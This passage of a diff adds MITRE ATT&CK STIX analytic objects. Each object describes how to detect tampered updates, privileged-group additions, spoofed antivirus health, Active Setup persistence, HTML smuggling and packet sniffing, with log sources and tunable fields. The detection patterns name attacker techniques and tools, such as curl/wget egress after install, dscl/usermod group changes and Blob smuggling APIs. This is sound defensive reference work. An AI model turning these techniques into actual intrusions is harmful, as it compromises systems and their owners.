"revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0309#AN0862", + "external_id": "AN0862" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0862", + "description": "Adversary ships a tampered application or update: an updater/installer (msiexec/setup/update.exe/vendor service) writes or replaces binaries; on first run it spawns scripts/shells or unsigned DLLs and beacons to non-approved update CDNs/hosts. Detection correlates: (1) process creation of installer/updater \u2192 (2) file metadata changes in program paths \u2192 (3) first-run children and module/signature anomalies \u2192 (4) outbound connections to unexpected hosts within a short window.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=22" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Unsigned or invalid image for newly installed/updated binaries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "First-time egress to non-approved update hosts right after install/update" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate write\u2192first-run\u2192egress (default 90 minutes)." + }, + { + "field": "ApprovedUpdateHosts", + "description": "Allow-list of vendor update endpoints, enterprise proxy/cache." + }, + { + "field": "ApprovedSigners", + "description": "Code-signing publishers allowed for programs/services." + }, + { + "field": "ProgramPaths", + "description": "Monitored install locations (e.g., C:\\Program Files, C:\\ProgramData, %LOCALAPPDATA%)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b6f88f17-e80f-4c75-99a5-f752880196aa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0309#AN0863", + "external_id": "AN0863" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0863", + "description": "A compromised package/update (deb/rpm/tarball/AppImage/vendor updater) is installed, writing/overwriting files in /usr/local/bin, /usr/bin, /opt, or ~/.local; first run executes unexpected shells/curl/wget and connects to unapproved hosts. Correlate package/updater execution \u2192 file writes/replace \u2192 first-run child processes \u2192 egress.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "journald:package", + "channel": "dpkg/apt/yum/dnf transaction logs; vendor updaters in systemd journals" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "New outbound flows to non-approved vendor hosts post install" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PathScope", + "description": "Monitored install paths (/usr/local, /usr/bin, /opt/*, ~/.local/bin, /var/lib/systemd)." + }, + { + "field": "ApprovedRepos", + "description": "Allow-listed APT/YUM repos and GPG keys for vendor updates." + }, + { + "field": "TimeWindow", + "description": "Default 90 minutes." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--86a87684-5fd5-4778-be36-5dfa07a4246d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0309#AN0864", + "external_id": "AN0864" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0864", + "description": "A tampered app/pkg/notarized update is installed via installer, softwareupdated, Homebrew, or vendor updater; new Mach-O or bundle contents appear in /Applications, /Library, /usr/local or /opt/homebrew; first run spawns sh/zsh/osascript/curl and makes egress to unfamiliar domains; AMFI/Gatekeeper may log signature/notarization problems.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "pkginstalld/softwareupdated/Homebrew install transactions" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "exec" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "New/rare egress to non-approved update hosts after install" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedTeamIDs", + "description": "Apple Developer Team IDs allowed for enterprise." + }, + { + "field": "BrewTapsAllowList", + "description": "Trusted Homebrew taps." + }, + { + "field": "TimeWindow", + "description": "Default 90 minutes." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--58bed5f5-6ef5-4558-9ac9-b58f8aa9888c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0310#AN0865", + "external_id": "AN0865" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0865", + "description": "Detects unauthorized additions of users or machine accounts to privileged local or domain groups (e.g., Administrators, Remote Desktop Users).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "WinEventLog:Security", + "channel": "EventCode=4728, 4729, 4732, 4733, 4756, 4757" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetGroup", + "description": "Set to detect high-privileged groups like 'Administrators', 'Domain Admins', or 'Remote Desktop Users'" + }, + { + "field": "TimeWindow", + "description": "Restrict detections to business hours or approved maintenance windows" + }, + { + "field": "UserContext", + "description": "Filter out known automated processes or provisioning systems" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ff692121-8bbd-4d22-8192-fe6a7dd94f57", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0310#AN0866", + "external_id": "AN0866" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0866", + "description": "Detects unexpected use of usermod, gpasswd, or direct modification of /etc/group to elevate user group membership.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "auditd:SYSCALL", + "channel": "SYSCALL for usermod or /etc/group file modification" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GroupName", + "description": "Focus on 'sudo', 'wheel', or custom high-privilege groups" + }, + { + "field": "UserContext", + "description": "Account that initiated the change (e.g., service account or unrecognized user)" + }, + { + "field": "TimeWindow", + "description": "Detect elevation outside change windows" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--03b0d93e-955a-49f6-83ad-8cf72b678367", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0310#AN0867", + "external_id": "AN0867" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0867", + "description": "Detects use of `dseditgroup` or `dscl` to add users to privileged macOS groups (e.g., admin).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "macos:unifiedlog", + "channel": "Process execution or directory service changes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GroupName", + "description": "Focus on 'admin' or 'com.apple.access_ssh'" + }, + { + "field": "UserContext", + "description": "Detect unknown or transient users making group changes" + }, + { + "field": "TimeWindow", + "description": "Detect group modifications at suspicious times" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0f4ec296-008e-42aa-95b2-6e4e351d730c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0311#AN0868", + "external_id": "AN0868" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0868", + "description": "Detection of inconsistencies between reported sensor health and actual process/service state. For example, Windows Defender tray icon/UI showing healthy status while corresponding Defender services (WinDefend, MsMpEng) are stopped or disabled. Correlates process creation events with missing or terminated security processes and spoofed health events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7036" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceNameList", + "description": "Monitored list of critical security service names; environment-specific." + }, + { + "field": "FakeUIProcessPatterns", + "description": "Patterns of filenames or paths mimicking Windows Security GUI elements." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d1feb97f-3683-49f5-b5a8-b54d58de3444", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0311#AN0869", + "external_id": "AN0869" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0869", + "description": "Monitoring for discrepancies between system daemon/service state and reported health messages (e.g., syslog shows AV/IDS daemon stopped, but spoofed messages claim it is still running). Detects userland processes impersonating AV/IDS command-line outputs or modifying log forwarding configurations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of binaries/scripts presenting false health messages for security daemons" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "linux:syslog", + "channel": "Service stop or disable messages for security tools not reflected in SIEM alerts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SecurityDaemonList", + "description": "Names of AV/IDS/EDR daemons monitored in Linux environments." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d9eb3056-115b-496a-89f7-be38470ff022", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0311#AN0870", + "external_id": "AN0870" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0870", + "description": "Detection of fake or spoofed macOS Security & Privacy GUIs showing healthy status after XProtect, Gatekeeper, or AV processes are disabled. Correlates user-space UI process creation with terminated or missing security daemons.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of processes mimicking Apple Security & Privacy GUIs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "macos:unifiedlog", + "channel": "Termination or disabling of XProtect, Gatekeeper, or third-party AV daemons" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedDaemonList", + "description": "Monitored list of macOS security daemons such as XProtect, Gatekeeper, or third-party AV." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0be2ac94-5f56-4bdc-bf07-ec9ea08c8bb7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0312#AN0871", + "external_id": "AN0871" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0871", + "description": "Multi-event correlation of Registry creation under Active Setup with anomalous execution of processes at user logon. Behavioral patterns include creation/modification of HKLM Active Setup keys with non-standard StubPath values, followed by process execution from uncommon paths, unsigned binaries, or unusual parent-child lineage post-user login.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4672" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Microsoft-Windows-Security-Auditing", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=12" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate registry change and process execution within a specific user logon session (e.g., 5\u201310 minutes)" + }, + { + "field": "ParentProcessName", + "description": "Expected parent processes for Active Setup launched binaries (e.g., explorer.exe). Deviations may indicate abuse." + }, + { + "field": "StubPathValueEntropy", + "description": "Degree of randomness/uncommonness in StubPath values. High entropy may indicate obfuscation." + }, + { + "field": "SignedBinaryStatus", + "description": "Flag if launched binary in StubPath is unsigned or uncommon for baseline" + }, + { + "field": "RegistryKeyOwner", + "description": "Check which user/context added the Active Setup key to detect privilege abuse" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0cb02d2e-dcea-4195-80e7-81ec29b4d546", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-23 15:14:08.524000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0313#AN0872", + "external_id": "AN0872" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0872", + "description": "Detection of browser-based or email client-driven file creation (often from temp directories) following navigation to or execution of HTML files containing JavaScript Blob APIs or base64 Data URLs, with follow-on execution of the dropped payload. Leveraging Sysmon EventID 15 to inspect Zone.Identifier ADS for HostUrl/ReferrerUrl indicators (e.g., HostUrl=about:internet). Optional: absence of a large HTTP download record for the same URL/client in proxy logs (suggests local assembly)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "EDR:detection", + "channel": "App reputation telemetry" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time range between HTML file open and file drop + execution (e.g., 1\u201310 minutes)" + }, + { + "field": "DroppedFileExtensionWatchlist", + "description": "Tunable list of file extensions of interest (e.g., .js, .hta, .exe)" + }, + { + "field": "ParentProcessName", + "description": "Expected processes that may drop files (e.g., browser, Outlook); tune for normal behavior" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--30ae2215-5dd5-4ef2-82bd-965781ef1f42", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0313#AN0873", + "external_id": "AN0873" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0873", + "description": "Detection of browser-based downloads from HTML sources that trigger file creation in temp or user directories followed by execution of new files within short timeframes and suspicious parent-child lineage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "linux:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DownloadPathRegex", + "description": "Regular expressions for common download paths (e.g., /tmp/, ~/Downloads/)" + }, + { + "field": "ExecutableTriggerWindow", + "description": "Tunable range for follow-up process execution from dropped file (e.g., 5\u201315 minutes)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5f8b5ef5-8b4a-4713-a694-dc0746669a73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0313#AN0874", + "external_id": "AN0874" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0874", + "description": "Detection of HTML-based downloads via Safari/Chrome that create obfuscated files (e.g., .zip, .app, .js) in user directories and are followed by suspicious executions from preview or launch services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "File Events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "gatekeeper/quarantine database", + "channel": "LaunchServices quarantine" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "QuarantineFlagCheck", + "description": "Whether downloaded file has a quarantine flag and is bypassed via Gatekeeper" + }, + { + "field": "BlobKeywordAlertList", + "description": "JavaScript strings that may indicate smuggling: msSaveBlob, download.href, createObjectURL" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b3579b0f-7daf-40bd-af1c-f5cd020942e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0314#AN0875", + "external_id": "AN0875" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0875", + "description": "Detects suspicious execution of network monitoring tools (e.g., Wireshark, tshark, Microsoft Message Analyzer), driver loading indicative of promiscuous mode, or non-admin user privilege escalation to access NICs for capture.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7045" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ToolNames", + "description": "Adjust list of known sniffing tools based on environment and known administrator usage." + }, + { + "field": "TimeWindow", + "description": "Tune time of day or frequency of capture sessions to reduce false positives from authorized use." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--01ef3337-0585-4eaa-acb2-df363f7d5463", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0314#AN0876", + "external_id": "AN0876" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0876", + "description": "Correlates interface mode changes to promiscuous with execution of sniffing tools like tcpdump, tshark, or custom pcap libraries. Detects abnormal NIC configurations and unauthorized sniffing from non-root sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve, setifflags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "promiscuous mode transitions (ioctl or ifconfig)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "networkconfig ", + "channel": "interface flag PROMISC, netstat | ip link | ethtool" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InterfaceList", + "description": "Limit analysis to external interfaces (e.g., eth0, wlan0) and exclude virtual adapters." + }, + { + "field": "PromiscuousSessionThreshold", + "description": "Raise alerts if interface remains in PROMISC longer than threshold duration." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--31098e90-e2a0-477f-80ca-e969430d54c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0314#AN0877", + "external_id": "AN0877" + } + ], + "object_marking_refs": [ + 